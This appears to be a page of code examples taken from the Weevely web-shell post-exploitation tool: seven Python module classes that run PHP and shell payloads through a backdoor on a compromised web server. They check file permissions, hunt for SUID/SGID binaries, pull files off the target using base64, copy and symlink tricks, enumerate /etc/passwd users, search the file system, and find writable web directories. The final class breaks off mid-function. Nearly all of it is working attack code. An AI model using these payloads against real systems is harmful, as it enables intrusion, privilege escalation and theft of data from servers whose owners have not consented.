예제 #1
0
class Check(Module):
    '''Check remote files type, md5 and permission'''

    vectors = VectorList([
        V(
            'shell.php',
            'exists',
            "$f='%s'; (file_exists($f) || is_readable($f) || is_writable($f) || is_file($f) || is_dir($f)) && print(1);",
        ),
        V('shell.php', "dir", "is_dir('%s') && print(1);"),
        V('shell.php', "md5", "print(md5_file('%s'));"),
        V('shell.php', "r", "is_readable('%s') && print(1);"),
        V('shell.php', "w", "is_writable('%s') && print(1);"),
        V('shell.php', "x", "is_executable('%s') && print(1);"),
        V('shell.php', "file", "is_file('%s') && print(1);")
    ])

    params = ParametersList(
        'Check remote files type, md5 and permission', [],
        P(arg='rpath', help='Choose remote file path', required=True, pos=0),
        P(arg='mode',
          help='Choose mode',
          required=True,
          choices=vectors.get_names_list(),
          pos=1))

    def run_module(self, remote_path, mode):

        # Skip default vector load, here vector=mode

        vector = self.vectors.get_vector_by_name(mode)

        response = self.__execute_payload(vector, [remote_path, mode])
        if response != None:
            return response

    def __execute_payload(self, vector, parameters):

        remote_path = parameters[0]
        mode = parameters[1]

        payload = self.__prepare_payload(vector, [remote_path])

        try:
            response = self.modhandler.load(vector.interpreter).run(
                {0: payload})
        except ModuleException:
            response = None
        else:

            if response == '1':
                return True
            elif (mode == 'md5' and response):
                return response
            else:
                if mode != 'exists':
                    if not self.run({'rpath': remote_path, 'mode': 'exists'}):
                        self.mprint('File does not exists', 4)

            return False

        raise ModuleException(self.name, "File check failed")

    def __prepare_payload(self, vector, parameters):

        if vector.payloads[0].count('%s') == len(parameters):
            return vector.payloads[0] % tuple(parameters)
        else:
            raise ModuleException(
                self.name,
                "Error payload parameter number does not corresponds")
예제 #2
0
파일: perms.py 프로젝트: t3ll0/Weevely
class Perms(Module):
    '''Find files with write, read, execute permissions
    :find.perms first|all file|dir|all w|r|x|all <path>
    '''

    vectors = VectorList([
        V(
            'shell.php', 'php_recursive', """@swp('%s','%s','%s','%s');
function ckmod($df, $m) { return ($m=="any")||($m=="w"&&is_writable($df))||($m=="r"&&is_readable($df))||($m=="x"&&is_executable($df)); }
function cktp($df, $f, $t) { return ($f!='.')&&($f!='..')&&($t=='any'||($t=='f'&&@is_file($df))||($t=='d'&&@is_dir($df))); }
function swp($d, $type, $mod, $qty){
$h = @opendir($d);
while ($f = @readdir($h)) {
$df=$d.'/'.$f;
if(@cktp($df,$f,$type)&&@ckmod($df,$mod)) {
print($df."\\n");
if($qty=="first") return;
}
if(@cktp($df,$f,'d')){
@swp($df, $type, $mod, $qty);
}
}
@closedir($h);
}"""),
        V('shell.sh', "find", "find %s %s %s %s 2>/dev/null")
    ])

    params = ParametersList(
        'Find files by permissions', vectors,
        P(arg='qty',
          help='How many files display',
          choices=['first', 'any'],
          default='any',
          pos=0),
        P(arg='type',
          help='Type',
          choices=['f', 'd', 'any'],
          default='any',
          pos=1),
        P(arg='perm',
          help='Permission',
          choices=['w', 'r', 'x', 'any'],
          default='r',
          pos=2),
        P(arg='rpath', help='Remote starting path', default='.', pos=3))

    def __init__(self, modhandler, url, password):

        Module.__init__(self, modhandler, url, password)

    def __prepare_payload(self, vector, parameters):

        path = parameters[0]
        qty = parameters[1]
        type = parameters[2]
        mod = parameters[3]

        if vector.interpreter == 'shell.sh':
            if qty == 'first':
                qty = '-print -quit'
            elif qty == 'any':
                qty = ''

            if type == 'any':
                type = ''
            elif type == 'f':
                type = '-type f'
            elif type == 'd':
                type = '-type d'

            if mod == 'any':
                mod = ''
            elif mod == 'w':
                mod = '-writable'
            elif mod == 'r':
                mod = '-readable'
            elif mod == 'x':
                mod = '-executable'

        return vector.payloads[0] % (path, type, mod, qty)

    def run_module(self, qty, type, mod, path):

        vectors = self._get_default_vector2()
        if not vectors:
            vectors = self.vectors.get_vectors_by_interpreters(
                self.modhandler.loaded_shells)

        for vector in vectors:

            response = self.__execute_payload(vector, [path, qty, type, mod])
            if response != None:
                self.params.set_and_check_parameters({'vector': vector.name})
                return response

        raise ModuleException(self.name, "Files not found")

    def __execute_payload(self, vector, parameters):

        payload = self.__prepare_payload(vector, parameters)

        try:
            response = self.modhandler.load(vector.interpreter).run(
                {0: payload})
        except ModuleException:
            response = None
        else:
            return response
예제 #3
0
class Suidsgid(Module):
    '''Find files with superuser flags'''

    vectors = VectorList([
       V('shell.sh', "find" , "find %s %s 2>/dev/null")
    ])

    params = ParametersList('Find files with suid and sgid flags', vectors,
                    P(arg='type', help='Suid, sgid or both', choices=['suid','sgid', 'any'], default='any', pos=0),
                    P(arg='rpath', help='Remote starting path', default='.', pos=1)
                    )


    visible = True

    def __init__(self, modhandler, url, password):

        Module.__init__(self, modhandler, url, password)



    def run_module(self, type, path):

        vectors = self._get_default_vector2()
        if not vectors:
            vectors  = self.vectors.get_vectors_by_interpreters(self.modhandler.loaded_shells)

        for vector in vectors:

            response = self.__execute_payload(vector, [type, path])
            if response != None:
                self.params.set_and_check_parameters({'vector' : vector.name})
                return response

        raise ModuleException(self.name,  "Files not found")

    def __execute_payload(self, vector, parameters):

        payload = self.__prepare_payload(vector, parameters)

        try:
            response = self.modhandler.load(vector.interpreter).run({0 : payload})
        except ModuleException:
            response = None
        else:
            return response

    def __prepare_payload(self, vector, parameters):

        mod = parameters[0]
        path = parameters[1]

        if vector.interpreter == 'shell.sh':

            if mod == 'any':
                mod = '-perm -04000 -o -perm -02000'
            elif mod == 'suid':
                mod = '-perm -04000'
            elif mod == 'sgid':
                mod = '-perm -02000'

        return vector.payloads[0] % (path, mod)
예제 #4
0
class Download(Module):
    '''Download binary/ascii files from target filesystem
    :file.download <remote path> <locale path>
    '''

    vectors = VectorList([
        V('shell.php', 'file',
          "print(@base64_encode(implode('', file('%s'))));"),
        V(
            'shell.php', 'fread',
            "$f='%s'; print(@base64_encode(fread(fopen($f,'rb'),filesize($f))));"
        ),
        V('shell.php', "file_get_contents",
          "print(@base64_encode(file_get_contents('%s')));"),
        V('shell.sh', "base64", "base64 -w 0 %s"),
        V('shell.php', "copy", "copy('compress.zlib://%s','%s') && print(1);"),
        V('shell.php', "symlink", "symlink('%s','%s') && print(1);")
    ])

    params = ParametersList(
        'Download binary/ascii files from target', vectors,
        P(arg='rpath', help='Remote file path', required=True, pos=0),
        P(arg='lpath', help='Local file path', required=True, pos=1))

    def __init__(self, modhandler, url, password):

        self.encoder_callable = False
        self.md5_callable = False

        self.payload = None
        self.vector = None
        self.interpreter = None
        self.transfer_dir = None
        self.transfer_url_dir = None

        self.lastreadfile = ''

        Module.__init__(self, modhandler, url, password)

    def _probe(self):

        if self.modhandler.load('shell.php').run(
            {0: "is_callable('base64_encode') && print('1');"}) == '1':
            self.encoder_callable = True
        else:
            self.mprint(
                '[%s] PHP \'base64_encode\' transfer methods not available.' %
                self.name)

    def __prepare_payload(self, vector, parameters):

        if vector.payloads[0].count('%s') == len(parameters):
            return vector.payloads[0] % tuple(parameters)
        else:
            raise ModuleException(
                self.name,
                "Error payload parameter number does not corresponds")

    def __execute_payload(self, vector, parameters):

        remote_path = parameters[0]

        if (vector.name == 'copy' or vector.name == 'symlink'):

            if not (self.transfer_dir and self.transfer_url_dir
                    and self.file_path):

                self.modhandler.set_verbosity(6)
                if not self.modhandler.load('find.webdir').run(
                    {'rpath': 'find'}):
                    self.modhandler.set_verbosity()
                    return
                self.modhandler.set_verbosity()

                self.transfer_url_dir = self.modhandler.load(
                    'find.webdir').found_url
                self.transfer_dir = self.modhandler.load(
                    'find.webdir').found_dir

                if not self.transfer_url_dir or not self.transfer_dir:
                    return

                filename = '/' + str(randint(
                    11, 999)) + remote_path.split('/').pop()
                self.file_path = self.transfer_dir + filename
                self.url = self.transfer_url_dir + filename

            payload = self.__prepare_payload(vector,
                                             [remote_path, self.file_path])

        else:

            payload = self.__prepare_payload(vector, [remote_path])

        response = self.modhandler.load(vector.interpreter).run({0: payload})

        if response:

            self.payload = payload
            self.interpreter = vector.interpreter
            self.vector = vector

            return response

    def __process_response(self, response, remote_path, local_path):

        if self.vector.name == 'copy' or self.vector.name == 'symlink':

            if not self.file_path.endswith(
                    '.html') and not self.file_path.endswith('.htm'):
                self.mprint(
                    "[%s] Warning: vector '%s' works better with files with downloadable extension like '.html'"
                    % (self.name, self.vector.name))

            if self.modhandler.load('file.check').run({
                    'rpath': self.file_path,
                    'mode': 'exists'
            }):
                response = Request(self.url).read()
            else:
                response = None

            # Force deleting. Does not check existance, because broken links returns False
            self.modhandler.load('file.rm').run({
                'rpath': self.file_path,
                'recursive': False
            })

        else:
            if self.encoder_callable:
                try:
                    response = b64decode(response)
                except TypeError:
                    self.mprint("[!] [%s] Error, unexpected file content" %
                                (self.name))

        if response:

            try:
                f = open(local_path, 'wb')
                f.write(response)
                f.close()
            except Exception, e:
                self.mprint(
                    '[!] [%s] Some error occurred writing local file \'%s\'.' %
                    (self.name, local_path))
                raise ModuleException(self.name, e)

            response_md5 = md5(response).hexdigest()
            remote_md5 = self.modhandler.load('file.check').run({
                'rpath': remote_path,
                'mode': 'md5'
            })

            if not remote_md5:
                self.mprint(
                    '[!] [%s] MD5 hash method is not callable with \'%s\', check disabled'
                    % (self.name, remote_path))
                return response
            elif not remote_md5 == response_md5:
                self.mprint(
                    '[%s] MD5 hash of \'%s\' file mismatch, file corrupted' %
                    (self.name, local_path))
            else:
                self.mprint('[%s] File correctly downloaded to \'%s\'.' %
                            (self.name, local_path))
                return response
예제 #5
0
class EtcPasswd(Module):
    """Enumerate users and /etc/passwd content"""

    vectors = VectorList([
        V(
            'shell.php', 'posix_getpwuid',
            "for($n=0; $n<2000;$n++) { $uid = @posix_getpwuid($n); if ($uid) echo join(':',$uid).\'\n\';  }"
        ),
        V('shell.sh', 'cat', "cat %s"),
        V('file.read', 'fileread', "%s")
    ])

    params = ParametersList(
        'Enumerate users in /etc/passwd content', vectors,
        P(arg='filter',
          help='Try to show real users only',
          default=False,
          type=bool,
          pos=0))

    def __init__(self, modhandler, url, password):

        Module.__init__(self, modhandler, url, password)

        self.usersinfo = {}

    def run_module(self, filter_real_users):

        vectors = self._get_default_vector2()
        if not vectors:
            vectors = self.vectors.get_vectors_by_interpreters(
                self.modhandler.loaded_shells)

        for vector in vectors:
            response = self.__execute_payload(vector, [filter_real_users])
            if response != None:
                return response

        raise ModuleException(self.name, "Users enumeration failed")

    def __execute_payload(self, vector, parameters):

        filter_real_users = parameters[0]

        payload = self.__prepare_payload(vector, [])

        response = self.modhandler.load(vector.interpreter).run({0: payload})

        pwdfile = ''

        if response:

            response_splitted = response.split('\n')

            if response_splitted and response_splitted[0].count(':') >= 6:

                self.params.set_and_check_parameters({'vector': vector.name})

                for line in response_splitted:
                    if line:

                        user = User(line)

                        if filter_real_users:
                            if (user.uid == 0) or (user.uid > 999) or (
                                ('false' not in user.shell) and
                                ('/home/' in user.home)):
                                pwdfile += line + '\n'
                                self.usersinfo[user.name] = user
                        else:
                            pwdfile += line + '\n'
                            self.usersinfo[user.name] = user

                return pwdfile

    def __prepare_payload(self, vector, parameters):

        if vector.payloads[0].count('%s') == 1:
            return vector.payloads[0] % ('/etc/passwd')
        else:
            return vector.payloads[0]
예제 #6
0
파일: name.py 프로젝트: t3ll0/Weevely
class Name(Module):
    '''Find files with matching name
    (e=equal, ei= equal case insensitive , c= contains, ci= contains case insensitive)
    :find.name e|ei|c|ci <string> <start path>
    '''

    vectors = VectorList([
        V(
            'shell.php', 'php_recursive', """@swp('%s','%s','%s');
function ckdir($df, $f) { return ($f!='.')&&($f!='..')&&@is_dir($df); }
function match($df, $f, $s, $m) { return (($m=='e')&&$f==$s)||(($m=='c')&&preg_match("/".$s."/",$f))||(($m=='ei')&&strcasecmp($s,$f)==0)||(($m=='ci')&&preg_match("/".$s."/i",$f)); }
function swp($d, $m, $s){
            $h = @opendir($d);
            while ($f = @readdir($h)) {
                    $df=$d.'/'.$f;
                    if(($f!='.')&&($f!='..')&&@match($df,$f,$s,$m)) print($df."\\n");
                    if(@ckdir($df,$f)) @swp($df, $m, $s);
            }
            @closedir($h);
}"""),
        V('shell.sh', "find", "find %s %s %s 2>/dev/null")
    ])

    params = ParametersList(
        'Find files with matching name', vectors,
        P(arg='match',
          help=
          'Match if Equal, Equal case insensitive, Contains, Contains case insensitive',
          choices=['e', 'ei', 'c', 'ci'],
          pos=0), P(arg='str', help='String to match', required=True, pos=1),
        P(arg='rpath',
          help='Remote starting path',
          default='.',
          required=True,
          pos=2))

    visible = True

    def __init__(self, modhandler, url, password):

        Module.__init__(self, modhandler, url, password)

    def __prepare_payload(self, vector, params):

        mod = params[0]
        match = params[1]
        path = params[2]

        str_mod = mod
        str_match = match
        str_path = path

        if vector.interpreter == 'shell.sh':

            if mod == 'e' or mod == 'c':
                str_mod = '-name'
            elif mod == 'ei' or mod == 'ci':
                str_mod = '-iname'

            if mod == 'c' or mod == 'ci':
                str_match = '\'*' + str_match + '*\''

        return vector.payloads[0] % (str_path, str_mod, str_match)

    def run_module(self, match, str, rpath):

        vectors = self._get_default_vector2()
        if not vectors:
            vectors = self.vectors.get_vectors_by_interpreters(
                self.modhandler.loaded_shells)

        for vector in vectors:

            response = self.__execute_payload(vector, [match, str, rpath])
            if response != None:
                self.params.set_and_check_parameters({'vector': vector.name})
                return response

        raise ModuleException(self.name, "Files not found")

    def __execute_payload(self, vector, parameters):

        payload = self.__prepare_payload(vector, parameters)

        try:
            response = self.modhandler.load(vector.interpreter).run(
                {0: payload})
        except ModuleException:
            response = None
        else:
            return response
예제 #7
0
class Webdir(Module):
    '''Find first writable directory and corresponding URL
    :find.webdir auto | <start dir>
    '''

    vectors = VectorList([
        V('shell.php', 'fwrite', "fwrite(fopen('%s','w'),'1');"),
        V('shell.php', "file_put_contents", "file_put_contents('%s', '1');"),
        V('shell.sh', "echo", "echo '1' > %s"),
    ])

    params = ParametersList(
        'Find a writable directory and corresponding URL', vectors,
        P(arg='rpath', help='Remote starting path', default='auto', pos=0))

    def __init__(self, modhandler, url, password):

        self.dir = None
        self.url = None

        self.probe_filename = ''.join(choice(letters)
                                      for i in xrange(4)) + '.html'

        Module.__init__(self, modhandler, url, password)

    def __prepare_payload(self, vector, parameters):

        if vector.payloads[0].count('%s') == len(parameters):
            return vector.payloads[0] % tuple(parameters)
        else:
            raise ModuleException(
                self.name,
                "Error payload parameter number does not corresponds")

    def __execute_payload(self, vector, parameters):

        dir_path = parameters[0]
        file_path = parameters[1]
        file_url = parameters[2]
        dir_url = parameters[3]

        payload = self.__prepare_payload(vector, [file_path])

        self.modhandler.load(vector.interpreter).run({0: payload})

        if self.modhandler.load('file.check').run({
                'rpath': file_path,
                'mode': 'exists'
        }):

            file_content = Request(file_url).read()

            if (file_content == '1'):
                self.dir = dir_path
                self.url = dir_url

            if self.modhandler.load('shell.php').run(
                {0: "unlink('%s') && print('1');" % file_path}) != '1':
                print "[!] [find.webdir] Error cleaning test file %s" % (
                    file_path)

            if self.dir and self.url:
                print "[find.webdir] Writable web dir found with method '%s': %s -> %s" % (
                    vector.name, self.dir, self.url)
                return True

        return False

    def run_module(self, start_dir):
        if self.url and self.dir:
            self.mprint("[%s] Writable web dir: %s -> %s" %
                        (self.name, self.dir, self.url))
            return

        if start_dir == 'auto':
            try:
                root_find_dir = self.modhandler.load('system.info').run(
                    {0: 'basedir'})
            except ModuleException, e:
                self.mprint('[!] [' + e.module + '] ' + e.error)
                root_find_dir = None

        else: